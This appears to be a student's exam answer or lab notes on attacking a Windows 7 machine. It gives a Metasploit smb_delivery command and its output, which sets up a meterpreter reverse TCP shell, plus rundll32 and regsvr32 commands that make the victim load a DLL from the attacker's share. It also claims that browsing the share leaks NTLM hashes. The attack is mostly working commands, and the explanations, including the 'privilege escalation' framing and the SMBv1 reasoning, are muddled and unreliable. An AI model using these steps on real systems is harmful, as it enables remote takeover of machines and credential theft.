

***-privilege escalation over win 7 (without using eternal blue exploit).[10 marks]***

QUE - privilege escalation over win 7 (without using eternal blue exploit).[10 marks]

**ANS -**

## USING DLL FILES

- Attacker: Kali Linux
- Victim PC: Windows 7

```
Command: msfconsole -q -x "use exploit/windows/smb/smb_delivery; set srvhost eth0; set  
srvport 445; exploit"
```

```
(root@kali)-[~]
└─$ msfconsole -q -x "use exploit/windows/smb/smb_delivery; set srvhost eth0; set srvport 445; exploit"
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
srvhost => 192.168.241.128
srvport => 445
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.241.128:4444
[*] Server is running. Listening on 192.168.241.128:445
[*] Server started.
[*] Run the following command on the target machine:
msf6 exploit(windows/smb/smb_delivery) > rundll32.exe \\192.168.241.128\jtvjh\test.dll 0
```

open browser in windows and search for `\\192.168.241.128\jtJVH\test.dll`

it will give ntlm hashes for windows 10

[illegible]

in windows 7 and windows server 2016 we have to run test.dll file manually by

Open cmd as administrator

Command: `regsvr32 path\to\your\file.dll`

Command: `regsvr32 test.dll`

REASON: 2016 & win 7 is it is using smb v1 and that is not used in win-10 so we got hashes not the rev shell